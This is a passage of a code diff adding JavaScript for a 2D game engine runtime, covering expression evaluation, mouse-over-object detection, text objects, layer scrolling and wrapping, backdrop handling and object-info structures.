+ this.rh4PosPile++;
+ this.bOperande = true;
+ this.rh4Tokens[this.rh4CurToken].evaluate(this);
+ this.bOperande = false;
+ this.rh4CurToken++;
+ }
+ else
+ {
+ this.rh4PosPile--;
+ this.rh4Operators[this.rh4PosPile].evaluate(this);
+ }
+ }
+ else
+ {
+ this.rh4PosPile--;
+ if (this.rh4PosPile == pileStart)
+ {
+ break;
+ }
+ this.rh4Operators[this.rh4PosPile].evaluate(this);
+ }
+ } while (true);
+ } while (this.rh4PosPile > pileStart + 1);
+ return this.rh4Results[pileStart + 1];
+ },
+
+ getCurrentResult: function ()
+ {
+ return this.rh4Results[this.rh4PosPile];
+ },
+
+ getPreviousResult: function ()
+ {
+ return this.rh4Results[this.rh4PosPile - 1];
+ },
+
+ getNextResult: function ()
+ {
+ return this.rh4Results[this.rh4PosPile + 1];
+ },
+
+ update_PlayerObjects: function (joueur, type, value)
+ {
+ joueur++;
+
+ var count = 0;
+ var no;
+ for (no = 0; no < this.rhNObjects; no++)
+ {
+ while (this.rhObjectList[count] == null)
+ count++;
+ var pHo = this.rhObjectList[count];
+ if (pHo.hoType == type)
+ {
+ switch (type)
+ {
+ case 5:
+ if (pHo.rsPlayer == joueur)
+ {
+ pHo.setValue(value);
+ }
+ break;
+ case 6:
+ if (pHo.rsPlayer == joueur)
+ {
+ pHo.setValue(value);
+ }
+ break;
+ }
+ }
+ count++;
+ }
+ },
+
+ actPla_FinishLives: function (joueur, live)
+ {
+ var lives = this.rhApp.getLives();
+ if (live == lives[joueur])
+ {
+ return;
+ }
+
+ if (live == 0)
+ {
+ if (lives[joueur] != 0)
+ {
+ this.rhEvtProg.push_Event(0, ((-5 << 16) | 0xFFF9), 0, null, joueur);
+ }
+ }
+
+ lives[joueur] = live;
+ this.update_PlayerObjects(joueur, COI.OBJ_LIVES, live);
+ },
+
+ getMouseOnObjectsEDX: function (oiList, nega)
+ {
+ var pHo = this.rhEvtProg.evt_FirstObject(oiList);
+ if (pHo == null)
+ {
+ if (nega)
+ {
+ return true;
+ }
+ return false;
+ }
+ var cpt = this.rhEvtProg.evtNSelectedObjects;
+
+ var count = 0;
+ var i;
+ var pHox;
+ var x1, y1, x2, y2;
+ var list = new CArrayList();
+ for (i = 0; i < this.rhNObjects; i++)
+ {
+ while (this.rhObjectList[count] == null)
+ count++;
+ pHox = this.rhObjectList[count];
+ count++;
+
+ x1 = pHox.hoX - pHox.hoImgXSpot;
+ y1 = pHox.hoY - pHox.hoImgYSpot;
+ x2 = x1 + pHox.hoImgWidth;
+ y2 = y1 + pHox.hoImgHeight;
+ if (this.rh2MouseX >= x1 && this.rh2MouseX < x2 && this.rh2MouseY >= y1 && this.rh2MouseY < y2)
+ {
+ if ((pHox.hoFlags & CObject.HOF_DESTROYED) == 0)
+ {
+ if (pHox.hoType == COI.OBJ_SPR)
+ {
+ if ((pHox.ros.rsFlags & CRSpr.RSFLAG_COLBOX) == 0)
+ {
+ var image = this.rhApp.imageBank.getImageFromHandle(pHox.roc.rcImage);
+ var mask = image.getMask(CMask.GCMF_OBSTACLE, 0, 1.0, 1.0);
+ if (mask.testPointEx(this.rh2MouseX - pHox.hoX, this.rh2MouseY - pHox.hoY, pHox.roc.rcAngle, pHox.roc.rcScaleX, pHox.roc.rcScaleY))
+ {
+ list.add(pHox);
+ }
+ }
+ else
+ {
+ list.add(pHox);
+ }
+ }
+ else
+ {
+ list.add(pHox);
+ }
+ }
+ }
+ }
+
+ if (list.size() == 0)
+ {
+ if (nega)
+ {
+ return true;
+ }
+ return false;
+ }
+
+ if (nega == false)
+ {
+ do
+ {
+ for (count = 0; count < list.size(); count++)
+ {
+ pHox = list.get(count);
+ if (pHox == pHo)
+ break;
+ }
+ if (count == list.size())
+ {
+ cpt--; //; Pas trouve dans la liste. on le vire
+ this.rhEvtProg.evt_DeleteCurrentObject();
+ }
+ pHo = this.rhEvtProg.evt_NextObject();
+ } while (pHo != null);
+ return cpt != 0;
+ }
+ else
+ {
+ do
+ {
+ for (count = 0; count < list.size(); count++)
+ {
+ pHox = list.get(count);
+ if (pHox == pHo)
+ return false;
+ }
+ pHo = this.rhEvtProg.evt_NextObject();
+ } while (pHo != null);
+ return true;
+ }
+ },
+
+
+ txtDisplay: function (pe, oi, txtNumber)
+ {
+ var pEvp = pe.evtParams[0];
+ var pInfo = new CPositionInfo();
+ if (pEvp.read_Position(this, 0x10, pInfo))
+ {
+ var count = 0;
+ var no;
+ for (no = 0; no < this.rhNObjects; no++)
+ {
+ while (this.rhObjectList[count] == null)
+ count++;
+ var pHo = this.rhObjectList[count];
+ count++;
+
+ if (pHo.hoType == COI.OBJ_TEXT && pHo.hoOi == oi && pHo.hoX == pInfo.x && pHo.hoY == pInfo.y)
+ {
+ pHo.ros.obShow();
+ pHo.hoFlags &= ~CObject.HOF_NOCOLLISION;
+ pHo.rsMini = -2;
+ pHo.txtChange(txtNumber);
+ pHo.ros.rsFlash = 0;
+ pHo.ros.rsFlags |= CRSpr.RSFLAG_VISIBLE;
+ return pHo.hoNumber;
+ }
+ }
+ var num = this.f_CreateObject(-1, oi, pInfo.x, pInfo.y, 0, 0, this.rhFrame.nLayers - 1, -1);
+ if (num >= 0)
+ {
+ this.rhObjectList[num].txtChange(txtNumber);
+ return num;
+ }
+ }
+ return -1;
+ },
+
+ txtDoDisplay: function (pe, txtNumber)
+ {
+ if ((pe.evtOiList & 0x8000) == 0)
+ {
+ return this.txtDisplay(pe, pe.evtOi, txtNumber);
+ }
+
+ if ((pe.evtOiList & 0x7FFF) == 0x7FFF)
+ return -1;
+ var qoi = pe.evtOiList & 0x7FFF;
+ var qoil = this.rhEvtProg.qualToOiList[qoi];
+ var count = 0;
+ while (count < qoil.qoiList.length)
+ {
+ this.txtDisplay(pe, qoil.qoiList[count], txtNumber);
+ count += 2;
+ }
+ ;
+ return -1;
+ },
+
+ init_Disappear: function (hoPtr)
+ {
+ var bFlag = false;
+ var dw = 0;
+
+ if ((hoPtr.hoOEFlags & CObjectCommon.OEFLAG_ANIMATIONS) != 0)
+ {
+ if (hoPtr.ros != null)
+ {
+ if (hoPtr.ros.initFadeOut())
+ {
+ return;
+ }
+ }
+ if (hoPtr.roa != null)
+ {
+ if (hoPtr.roa.anim_Exist(CAnim.ANIMID_DISAPPEAR))
+ {
+ dw = 1;
+ }
+ }
+ }
+ if (dw == 0)
+ {
+ bFlag = true;
+ }
+
+ if (bFlag)
+ {
+ hoPtr.hoCallRoutine = false;
+ this.destroy_Add(hoPtr.hoNumber);
+ return;
+ }
+
+ if (hoPtr.ros != null)
+ {
+ hoPtr.ros.setColFlag(false);
+ hoPtr.hoFlags |= CObject.HOF_NOCOLLISION;
+ }
+ if (hoPtr.rom != null)
+ {
+ hoPtr.rom.kill(false);
+ hoPtr.rom.initSimple(hoPtr, CMoveDef.MVTYPE_DISAPPEAR, false);
+ hoPtr.roc.rcSpeed = 0;
+ }
+ if ((dw & 1) != 0)
+ {
+ hoPtr.roa.animation_Force(CAnim.ANIMID_DISAPPEAR);
+ hoPtr.roa.animation_OneLoop();
+ }
+ },
+
+ isMouseOn: function ()
+ {
+ if (this.rhApp.cursorCount > 0)
+ {
+ return true;
+ }
+ return false;
+ },
+
+ getRGBAt: function (hoPtr, x, y)
+ {
+ var rgb = 0;
+ if (hoPtr.roc.rcImage != -1)
+ {
+ var image = this.rhApp.imageBank.getImageFromHandle(hoPtr.roc.rcImage);
+ rgb = image.getPixel(x, y);
+ rgb = swapRGB(rgb);
+ }
+ return rgb;
+ },
+
+ drawLevel: function ()
+ {
+ var plo;
+ var rc = new CRect();
+ var nLayer;
+
+ for (nLayer = 0; nLayer < this.rhFrame.nLayers; nLayer++)
+ {
+ var pLayer = this.rhFrame.layers[nLayer];
+
+ var bWrapHorz = ((pLayer.dwOptions & CLayer.FLOPT_WRAP_HORZ) != 0);
+ var bWrapVert = ((pLayer.dwOptions & CLayer.FLOPT_WRAP_VERT) != 0);
+
+ if (nLayer == 0)
+ {
+ var sx = this.rhFrame.leWidth;
+ if (bWrapHorz)
+ {
+ sx *= 2;
+ }
+ var sy = this.rhFrame.leHeight;
+ if (bWrapVert)
+ {
+ sy *= 2;
+ }
+ // pLayer.fillBack(sx, sy, rhFrame.leBackground);
+ }
+
+ var nLOs = pLayer.nBkdLOs;
+ var i;
+ for (i = 0; i < nLOs; i++)
+ {
+ plo = this.rhFrame.LOList.getLOFromIndex(pLayer.nFirstLOIndex + i);
+ var typeObj = plo.loType;
+
+ if (typeObj < COI.OBJ_SPR)
+ {
+ rc.left = plo.loX;
+ rc.top = plo.loY;
+ }
+ /* else
+ {
+ continue;
+ }
+ */
+ var bi;
+ bi = new CBackInstance(this.rhApp, rc.left, rc.top, plo, null, 0);
+ bi.addInstance(0, pLayer);
+
+ if (bWrapHorz)
+ {
+ bi = new CBackInstance(this.rhApp, this.rhFrame.leWidth + rc.left, rc.top, plo, null, 0);
+ bi.addInstance(1, pLayer);
+ if (rc.left + bi.width > this.rhFrame.leWidth)
+ {
+ bi = new CBackInstance(this.rhApp, rc.left - this.rhFrame.leWidth, rc.top, plo, null, 0);
+ bi.addInstance(4, pLayer);
+ }
+ if (bWrapVert)
+ {
+ bi = new CBackInstance(this.rhApp, rc.left, this.rhFrame.leHeight + rc.top, plo, null, 0);
+ bi.addInstance(2, pLayer);
+ bi = new CBackInstance(this.rhApp, this.rhFrame.leWidth + rc.left, this.rhFrame.leHeight + rc.top, plo, null, 0);
+ bi.addInstance(3, pLayer);
+ if (rc.top + bi.height > this.rhFrame.leHeight)
+ {
+ bi = new CBackInstance(this.rhApp, rc.left, rc.top - this.rhFrame.leHeight, plo, null, 0);
+ bi.addInstance(5, pLayer);
+ }
+ }
+ }
+ else if (bWrapVert)
+ {
+ bi = new CBackInstance(this.rhApp, rc.left, this.rhFrame.leHeight + rc.top, plo, null, 0);
+ bi.addInstance(2, pLayer);
+ if (rc.top + bi.height > this.rhFrame.leHeight)
+ {
+ bi = new CBackInstance(this.rhApp, rc.left, rc.top - this.rhFrame.leHeight, plo, null, 0);
+ bi.addInstance(5, pLayer);
+ }
+ }
+ }
+ }
+ },
+
+ scrollLayers: function ()
+ {
+ var l;
+ var layer;
+
+ var x = this.rh3DisplayX;
+ var y = this.rh3DisplayY;
+
+ var dx, dy;
+ for (l = 0; l < this.rhFrame.nLayers; l++)
+ {
+ layer = this.rhFrame.layers[l];
+ dx = x * layer.xCoef + layer.dx;
+ dy = y * layer.yCoef + layer.dy;
+
+ var bWrapHorz = ((layer.dwOptions & CLayer.FLOPT_WRAP_HORZ) != 0);
+ var bWrapVert = ((layer.dwOptions & CLayer.FLOPT_WRAP_VERT) != 0);
+ if (bWrapHorz)
+ {
+ if (dx < 0)
+ {
+ dx = dx % this.rhFrame.leWidth + this.rhFrame.leWidth;
+ }
+ if (dx > this.rhFrame.leWidth)
+ {
+ dx = dx % this.rhFrame.leWidth;
+ }
+ }
+ if (bWrapVert)
+ {
+ if (dy < 0)
+ {
+ dy = dy % this.rhFrame.leHeight + this.rhFrame.leHeight;
+ }
+ if (dy > this.rhFrame.leHeight)
+ {
+ dy = dy % this.rhFrame.leHeight;
+ }
+ }
+ layer.x = dx;
+ layer.y = dy;
+ layer.planeBack.x = -dx + this.rhApp.xOffset;
+ layer.planeBack.y = -dy + this.rhApp.yOffset;
+ layer.planeQuickDisplay.x = -dx + this.rhApp.xOffset;
+ layer.planeQuickDisplay.y = -dy + this.rhApp.yOffset;
+ layer.planeSprites.x = -dx + this.rhApp.xOffset;
+ layer.planeSprites.y = -dy + this.rhApp.yOffset;
+ }
+ this.rhFrame.leX = this.rh3DisplayX;
+ this.rhFrame.leY = this.rh3DisplayY;
+ },
+
+ hideLayer: function (nLayer)
+ {
+ if (nLayer >= 0 && nLayer < this.rhFrame.nLayers)
+ {
+ var layer = this.rhFrame.layers[nLayer];
+ layer.hide();
+ }
+ },
+ showLayer: function (nLayer)
+ {
+ if (nLayer >= 0 && nLayer < this.rhFrame.nLayers)
+ {
+ var layer = this.rhFrame.layers[nLayer];
+ layer.show();
+ }
+ },
+ hideShowLayers: function ()
+ {
+ var n;
+ for (n = 0; n < this.rhFrame.nLayers; n++)
+ {
+ var layer = this.rhFrame.layers[n];
+ if (layer.dwOptions & CLayer.FLOPT_TOHIDE)
+ {
+ layer.hide();
+ }
+ }
+ },
+
+ setDisplay: function (x, y, nLayer, flags)
+ {
+ x -= Math.floor(this.rh3WindowSx / 2);
+ y -= Math.floor(this.rh3WindowSy / 2);
+
+ var xf = x;
+ var yf = y;
+
+ if (nLayer != -1 && nLayer < this.rhFrame.nLayers)
+ {
+ var pLayer = this.rhFrame.layers[nLayer];
+ if (pLayer.xCoef > 1.0)
+ {
+ var dxf = (xf - this.rhWindowX);
+ dxf /= pLayer.xCoef;
+ xf = CServices.floatToInt(this.rhWindowX + dxf);
+ }
+ if (pLayer.yCoef > 1.0)
+ {
+ var dyf = (yf - this.rhWindowY);
+ dyf /= pLayer.yCoef;
+ yf = CServices.floatToInt(this.rhWindowY + dyf);
+ }
+ }
+
+ x = xf;
+ y = yf;
+
+ if (x < 0)
+ {
+ x = 0;
+ }
+ if (y < 0)
+ {
+ y = 0;
+ }
+ var x2 = x + this.rh3WindowSx;
+ var y2 = y + this.rh3WindowSy;
+ if (x2 > this.rhLevelSx)
+ {
+ x2 = this.rhLevelSx - this.rh3WindowSx;
+ if (x2 < 0)
+ {
+ x2 = 0;
+ }
+ x = x2;
+ }
+ if (y2 > this.rhLevelSy)
+ {
+ y2 = this.rhLevelSy - this.rh3WindowSy;
+ if (y2 < 0)
+ {
+ y2 = 0;
+ }
+ y = y2;
+ }
+
+ if ((flags & 1) != 0)
+ {
+ if (x != this.rhWindowX)
+ {
+ this.rh3DisplayX = x;
+ this.rh3Scrolling |= CRun.RH3SCROLLING_SCROLL;
+ }
+ }
+ if ((flags & 2) != 0)
+ {
+ if (y != this.rhWindowY)
+ {
+ this.rh3DisplayY = y;
+ this.rh3Scrolling |= CRun.RH3SCROLLING_SCROLL;
+ }
+ }
+ },
+
+ updateWindowPos: function (newX, newY)
+ {
+ var noMove = 0;
+ this.rh4WindowDeltaX = newX - this.rhWindowX;
+ if (this.rh4WindowDeltaX != 0)
+ {
+ noMove++;
+ }
+ this.rh4WindowDeltaY = newY - this.rhWindowY;
+ if (this.rh4WindowDeltaY != 0)
+ {
+ noMove++;
+ }
+
+ var pLayer;
+ var i;
+ if (noMove == 0)
+ {
+ for (i = 0; i < this.rhFrame.nLayers; i++)
+ {
+ pLayer = this.rhFrame.layers[i];
+ if (pLayer.dx != 0 || pLayer.dy != 0)
+ {
+ noMove++;
+ break;
+ }
+ }
+ }
+
+ var nOldX = this.rhWindowX;
+ var nOldY = this.rhWindowY;
+ var nNewX = newX;
+ var nNewY = newY;
+ var nDeltaX = this.rh4WindowDeltaX;
+ var nDeltaY = this.rh4WindowDeltaY;
+
+ this.rhWindowX = newX;
+ this.rh3XMinimum = newX - CRun.COLMASK_XMARGIN;
+ if (this.rh3XMinimum < 0)
+ {
+ this.rh3XMinimum = this.rh3XMinimumKill;
+ }
+
+ this.rhWindowY = newY;
+ this.rh3YMinimum = newY - CRun.COLMASK_YMARGIN;
+ if (this.rh3YMinimum < 0)
+ {
+ this.rh3YMinimum = this.rh3YMinimumKill;
+ }
+
+ this.rh3XMaximum = newX + this.rh3WindowSx + CRun.COLMASK_XMARGIN;
+ if (this.rh3XMaximum > this.rhLevelSx)
+ {
+ this.rh3XMaximum = this.rh3XMaximumKill;
+ }
+
+ this.rh3YMaximum = newY + this.rh3WindowSy + CRun.COLMASK_YMARGIN;
+ if (this.rh3YMaximum > this.rhLevelSy)
+ {
+ this.rh3YMaximum = this.rh3YMaximumKill;
+ }
+
+
+ var count = 0;
+ var nObjects;
+ for (nObjects = 0; nObjects < this.rhNObjects; nObjects++)
+ {
+ while (this.rhObjectList[count] == null)
+ count++;
+ var pHo = this.rhObjectList[count];
+ count++;
+
+ if (noMove != 0)
+ {
+ if ((pHo.hoOEFlags & CObjectCommon.OEFLAG_SCROLLINGINDEPENDANT) != 0)
+ {
+ var x = nDeltaX;
+ var y = nDeltaY;
+
+ if (pHo.rom == null)
+ {
+ pHo.hoX += x;
+ pHo.hoY += y;
+ }
+ else
+ {
+ x += pHo.hoX;
+ y += pHo.hoY;
+ pHo.rom.rmMovement.setXPosition(x);
+ pHo.rom.rmMovement.setYPosition(y);
+ }
+ }
+ else
+ {
+ var nLayer = pHo.hoLayer;
+ if (nLayer < this.rhFrame.nLayers)
+ {
+ var oldLayerDx = nOldX;
+ var oldLayerDy = nOldY;
+ var newLayerDx = nNewX;
+ var newLayerDy = nNewY;
+
+ pLayer = this.rhFrame.layers[nLayer];
+ if ((pLayer.dwOptions & CLayer.FLOPT_XCOEF) != 0)
+ {
+ oldLayerDx = (pLayer.xCoef * oldLayerDx);
+ newLayerDx = (pLayer.xCoef * newLayerDx);
+ }
+ if ((pLayer.dwOptions & CLayer.FLOPT_YCOEF) != 0)
+ {
+ oldLayerDy = (pLayer.yCoef * oldLayerDy);
+ newLayerDy = (pLayer.yCoef * newLayerDy);
+ }
+
+ var nX = (pHo.hoX + oldLayerDx) - newLayerDx + nDeltaX - pLayer.dx;
+ var nY = (pHo.hoY + oldLayerDy) - newLayerDy + nDeltaY - pLayer.dy;
+
+ if ((pHo.hoOEFlags & CObjectCommon.OEFLAG_MOVEMENTS) == 0)
+ {
+ pHo.hoX = nX;
+ pHo.hoY = nY;
+ }
+ else
+ {
+ pHo.rom.rmMovement.setXPosition(nX);
+ pHo.rom.rmMovement.setYPosition(nY);
+ }
+ pHo.forcePosition();
+ }
+ }
+ }
+ }
+ },
+
+ doScroll: function ()
+ {
+ if ((this.rh3Scrolling & CRun.RH3SCROLLING_SCROLL) != 0)
+ {
+ this.rh3Scrolling = 0;
+
+ if (this.rhFrame.leX != this.rh3DisplayX || this.rhFrame.leY != this.rh3DisplayY)
+ {
+ this.scrollLayers();
+ this.updateWindowPos(this.rhFrame.leX, this.rhFrame.leY);
+ }
+ this.rh3DisplayX = this.rhWindowX;
+ this.rh3DisplayY = this.rhWindowY;
+ }
+ },
+
+ activeToBackdrop: function (pHo, colType)
+ {
+ var pLayer = this.rhFrame.layers[pHo.hoLayer];
+ var image = this.rhApp.imageBank.getImageFromHandle(pHo.roc.rcImage);
+ var bi = new CBackInstance(this.rhApp, pHo.hoX - this.rhWindowX + pLayer.x, pHo.hoY - this.rhWindowY + pLayer.y, null, image, colType);
+ bi.setEffect(pHo.ros.rsEffect, pHo.ros.rsEffectParam);
+ bi.addInstance(0, pLayer);
+
+ if (colType == COC.OBSTACLE_SOLID || colType == COC.OBSTACLE_PLATFORM)
+ {
+ if (this.rh4Box2DBase != null)
+ {
+ bi.body = this.rh4Box2DBase.rAddABackdrop(pHo.hoX - this.rhWindowX + pLayer.x, pHo.hoY - this.rhWindowY + pLayer.y, pHo.roc.rcImage, colType);
+ }
+ }
+
+ var bWrapHorz = ((pLayer.dwOptions & CLayer.FLOPT_WRAP_HORZ) != 0);
+ var bWrapVert = ((pLayer.dwOptions & CLayer.FLOPT_WRAP_VERT) != 0);
+ if (bWrapHorz)
+ {
+ bi = new CBackInstance(this.rhApp, this.rhFrame.leWidth + pHo.hoX - this.rhWindowX + pLayer.x, pHo.hoY - this.rhWindowY + pLayer.y, null, image, colType);
+ bi.setEffect(pHo.ros.rsEffect, pHo.ros.rsEffectParam);
+ bi.addInstance(1, pLayer);
+ if (pHo.hoX + bi.width > this.rhFrame.leWidth)
+ {
+ bi = new CBackInstance(this.rhApp, pHo.hoX - this.rhWindowX + pLayer.x - this.rhFrame.leWidth, pHo.hoY - this.rhWindowY + pLayer.y, null, image, colType);
+ bi.setEffect(pHo.ros.rsEffect, pHo.ros.rsEffectParam);
+ bi.addInstance(4, pLayer);
+ }
+ if (bWrapVert)
+ {
+ bi = new CBackInstance(this.rhApp, pHo.hoX - this.rhWindowX + pLayer.x, this.rhFrame.leHeight + pHo.hoY - this.rhWindowY + pLayer.y, null, image, colType);
+ bi.setEffect(pHo.ros.rsEffect, pHo.ros.rsEffectParam);
+ bi.addInstance(2, pLayer);
+ bi = new CBackInstance(this.rhApp, this.rhFrame.leWidth + pHo.hoX - this.rhWindowX + pLayer.x, this.rhFrame.leHeight + pHo.hoY - this.rhWindowY + pLayer.y, null, image, colType);
+ bi.setEffect(pHo.ros.rsEffect, pHo.ros.rsEffectParam);
+ bi.addInstance(3, pLayer);
+ if (pHo.hoY + bi.height > this.rhFrame.leHeight)
+ {
+ bi = new CBackInstance(this.rhApp, pHo.hoX - this.rhWindowX + pLayer.x, pHo.hoY - this.rhWindowY + pLayer.y - this.rhFrame.leHeight, null, image, colType);
+ bi.setEffect(pHo.ros.rsEffect, pHo.ros.rsEffectParam);
+ bi.addInstance(5, pLayer);
+ }
+ }
+ }
+ else if (bWrapVert)
+ {
+ bi = new CBackInstance(this.rhApp, pHo.hoX - this.rhWindowX + pLayer.x, this.rhFrame.leHeight + pHo.hoY - this.rhWindowY + pLayer.y, null, image, colType);
+ bi.setEffect(pHo.ros.rsEffect, pHo.ros.rsEffectParam);
+ bi.addInstance(2, pLayer);
+ if (pHo.hoY + bi.height > this.rhFrame.leHeight)
+ {
+ bi = new CBackInstance(this.rhApp, pHo.hoX - this.rhWindowX + pLayer.x, pHo.hoY - this.rhWindowY + pLayer.y - this.rhFrame.leHeight, null, image, colType);
+ bi.setEffect(pHo.ros.rsEffect, pHo.ros.rsEffectParam);
+ bi.addInstance(5, pLayer);
+ }
+ }
+ },
+
+ addBackdrop: function (srceImage, x, y, layer, colType, addToWorld)
+ {
+ var pLayer = this.rhFrame.layers[layer];
+ var bi = new CBackInstance(this.rhApp, x - this.rhWindowX + pLayer.x, y - this.rhWindowX + pLayer.y, null, srceImage, colType);
+ bi.addInstance(0, pLayer);
+ if (addToWorld)
+ {
+ if (colType == COC.OBSTACLE_SOLID || colType == COC.OBSTACLE_PLATFORM)
+ {
+ if (this.rh4Box2DBase != null)
+ {
+ bi.body = this.rh4Box2DBase.rAddABackdrop(pHo.hoX - this.rhWindowX + pLayer.x, pHo.hoY - this.rhWindowY + pLayer.y, pHo.roc.rcImage, colType);
+ }
+ }
+ }
+
+ var bWrapHorz = ((pLayer.dwOptions & CLayer.FLOPT_WRAP_HORZ) != 0);
+ var bWrapVert = ((pLayer.dwOptions & CLayer.FLOPT_WRAP_VERT) != 0);
+
+ // Wrap
+ if (bWrapHorz)
+ {
+ bi = new CBackInstance(this.rhApp, this.rhFrame.leWidth + x - this.rhWindowX + pLayer.x, y - this.rhWindowY + pLayer.y, null, srceImage, colType);
+ bi.addInstance(1, pLayer);
+ if (x + bi.width > this.rhFrame.leWidth)
+ {
+ bi = new CBackInstance(this.rhApp, x - this.rhWindowX + pLayer.x - this.rhFrame.leWidth, y - this.rhWindowY + pLayer.y, null, srceImage, colType);
+ bi.addInstance(4, pLayer);
+ }
+ if (bWrapVert)
+ {
+ bi = new CBackInstance(this.rhApp, x - this.rhWindowX + pLayer.x, this.rhFrame.leHeight + y - this.rhWindowY + pLayer.y, null, srceImage, colType);
+ bi.addInstance(2, pLayer);
+ bi = new CBackInstance(this.rhApp, this.rhFrame.leWidth + x - this.rhWindowX + pLayer.x, this.rhFrame.leHeight + y - this.rhWindowY + pLayer.y, null, srceImage, colType);
+ bi.addInstance(3, pLayer);
+ if (y + bi.height > this.rhFrame.leHeight)
+ {
+ bi = new CBackInstance(this.rhApp, x - this.rhWindowX + pLayer.x, y - this.rhWindowY + pLayer.y - this.rhFrame.leHeight, null, srceImage, colType);
+ bi.addInstance(5, pLayer);
+ }
+ }
+ }
+ else if (bWrapVert)
+ {
+ bi = new CBackInstance(this.rhApp, x - this.rhWindowX + pLayer.x, this.rhFrame.leHeight + y - this.rhWindowY + pLayer.y, null, srceImage, colType);
+ bi.addInstance(2, pLayer);
+ if (y + bi.height > this.rhFrame.leHeight)
+ {
+ bi = new CBackInstance(this.rhApp, x - this.rhWindowX + pLayer.x, y - this.rhWindowY + pLayer.y - this.rhFrame.leHeight, null, srceImage, colType);
+ bi.addInstance(5, pLayer);
+ }
+ }
+
+ },
+ deleteAllBackdrop2: function (layer)
+ {
+ if (layer < 0 || layer >= this.rhFrame.nLayers)
+ {
+ return;
+ }
+ var pLayer = this.rhFrame.layers[layer];
+ pLayer.deleteAddedBackdrops();
+ },
+ deleteBackdropAt: function (layer, xx, yy, fine)
+ {
+ if (layer < 0 || layer >= this.rhFrame.nLayers)
+ {
+ return;
+ }
+ var pLayer = this.rhFrame.layers[layer];
+ pLayer.deleteAddedBackdropsAt(xx - this.rhWindowX, yy - this.rhWindowY, fine);
+ },
+
+ getStorage: function (id)
+ {
+ if (this.rhApp.extensionStorage != null)
+ {
+ var n;
+ for (n = 0; n < this.rhApp.extensionStorage.size(); n++)
+ {
+ var e = this.rhApp.extensionStorage.get(n);
+ if (e.id == id)
+ {
+ return e;
+ }
+ }
+ }
+ return null;
+ },
+
+ delStorage: function (id)
+ {
+ if (this.rhApp.extensionStorage != null)
+ {
+ var n;
+ for (n = 0; n < this.rhApp.extensionStorage.size(); n++)
+ {
+ var e = this.rhApp.extensionStorage.get(n);
+ if (e.id == id)
+ {
+ this.rhApp.extensionStorage.removeIndex(n);
+ }
+ }
+ }
+ },
+
+ addStorage: function (data, id)
+ {
+ var e = this.getStorage(id);
+ if (e == null)
+ {
+ if (this.rhApp.extensionStorage == null)
+ {
+ this.rhApp.extensionStorage = new CArrayList();
+ }
+ data.id = id;
+ this.rhApp.extensionStorage.add(data);
+ }
+ },
+
+ getXMouse: function ()
+ {
+ if (this.rhMouseUsed != 0)
+ return 0;
+ return this.rh2MouseX;
+ },
+
+ getYMouse: function ()
+ {
+ if (this.rhMouseUsed != 0)
+ return 0;
+ return this.rh2MouseY;
+ },
+
+ onMouseWheel: function (delta)
+ {
+ this.rhWheelCount = this.rh4EventCount;
+ if (delta < 0)
+ this.rhEvtProg.handle_GlobalEvents(((-12 << 16) | 0xFFFA)); // CNDL_ONMOUSEHWEELDOWN
+ else
+ this.rhEvtProg.handle_GlobalEvents(((-11 << 16) | 0xFFFA)); // CNDL_ONMOUSEHWEELUP
+ },
+
+ findFirstObject:function(name)
+ {
+ var n, explore;
+ if (this.rhNObjects != 0)
+ {
+ for (n = 0; n < this.rhMaxObjects; n++)
+ {
+ explore = this.rhObjectList[n];
+ if (explore && explore.hoOiList.oilName == name)
+ {
+ this.findObjectCount = explore.hoOiList.oilNObjects - 1;
+ return explore;
+ }
+ }
+ }
+ return null;
+ },
+
+ findNextObject:function(object)
+ {
+ if (object && this.findObjectCount)
+ {
+ var n = object.hoNumber + 1;
+ var name = object.hoOiList.oilName;
+ var explore;
+ while(true)
+ {
+ explore = this.rhObjectList[n];
+ if (explore != null && explore.hoOiList.oilName == name)
+ {
+ this.findObjectCount--;
+ return explore;
+ }
+ n++;
+ }
+ }
+ this.findObjectCount = 0;
+ return null;
+ }
+
+ }
+
+ // CCreateObjectInfo object
+ // --------------------------------------------------------------
+ CCreateObjectInfo.COF_HIDDEN = 0x0002;
+ function CCreateObjectInfo()
+ {
+ this.cobLevObj = null;
+ this.cobLevObjSeg = 0;
+ this.cobFlags = 0;
+ this.cobX = 0;
+ this.cobY = 0;
+ this.cobDir = 0;
+ this.cobLayer = 0;
+ this.cobZOrder = 0;
+ }
+
+ // CObjInfo object
+ // ---------------------------------------------------------------
+ CObjInfo.OILIMITFLAGS_BORDERS = 0x000F;
+ CObjInfo.OILIMITFLAGS_BACKDROPS = 0x0010;
+ CObjInfo.OILIMITFLAGS_ONCOLLIDE = 0x0080;
+ CObjInfo.OILIMITFLAGS_QUICKCOL = 0x0100;
+ CObjInfo.OILIMITFLAGS_QUICKBACK = 0x0200;
+ CObjInfo.OILIMITFLAGS_QUICKBORDER = 0x0400;
+ CObjInfo.OILIMITFLAGS_QUICKSPR = 0x0800;
+ CObjInfo.OILIMITFLAGS_QUICKEXT = 0x1000;
+ CObjInfo.OILIMITFLAGS_ALL = 0xFFFF;
+ function CObjInfo()
+ {
+ this.oilOi = 0;
+ this.oilListSelected = 0;
+ this.oilType = 0;
+ this.oilObject = 0;
+ this.oilEvents = 0;
+ this.oilWrap = 0;
+ this.oilNextFlag = false;
+ this.oilNObjects = 0;
+ this.oilActionCount = 0;
+ this.oilActionLoopCount = 0;
+ this.oilCurrentRoutine = 0;
+ this.oilCurrentOi = 0;
+ this.oilNext = 0;
+ this.oilEventCount = 0;
+ this.oilNumOfSelected = 0;
+ this.oilOEFlags = 0;
+ this.oilLimitFlags = 0;
+ this.oilLimitList = 0;
+ this.oilOIFlags = 0;
+ this.oilOCFlags2 = 0;
+ this.oilInkEffect = 0;
+ this.oilEffectParam = 0;
+ this.oilHFII = 0;
+ this.oilBackColor = 0;
+ this.oilQualifiers = null;
+ this.oilName = null;
+ this.oilEventCountOR = 0;
+ this.oilColList = null;
+ }
+ CObjInfo.prototype =
+ {
+ copyData: function (oiPtr)
+ {
+ this.oilOi = oiPtr.oiHandle;
+ this.oilType = oiPtr.oiType;
+
+ this.oilOIFlags = oiPtr.oiFlags;
+ var ocPtr = oiPtr.oiOC;
+ this.oilOCFlags2 = ocPtr.ocFlags2;
+ this.oilInkEffect = oiPtr.oiInkEffect;
+ this.oilEffectParam = oiPtr.oiInkEffectParam;
+ this.oilOEFlags = ocPtr.ocOEFlags;
+ this.oilBackColor = ocPtr.ocBackColor;
+ this.oilEventCount = 0;
+ this.oilObject = -1;
+ this.oilLimitFlags = CObjInfo.OILIMITFLAGS_ALL;
+ if (oiPtr.oiName != null)
+ {
+ this.oilName = oiPtr.oiName;
+ }
+ var q;
+ this.oilQualifiers = new Array(8);
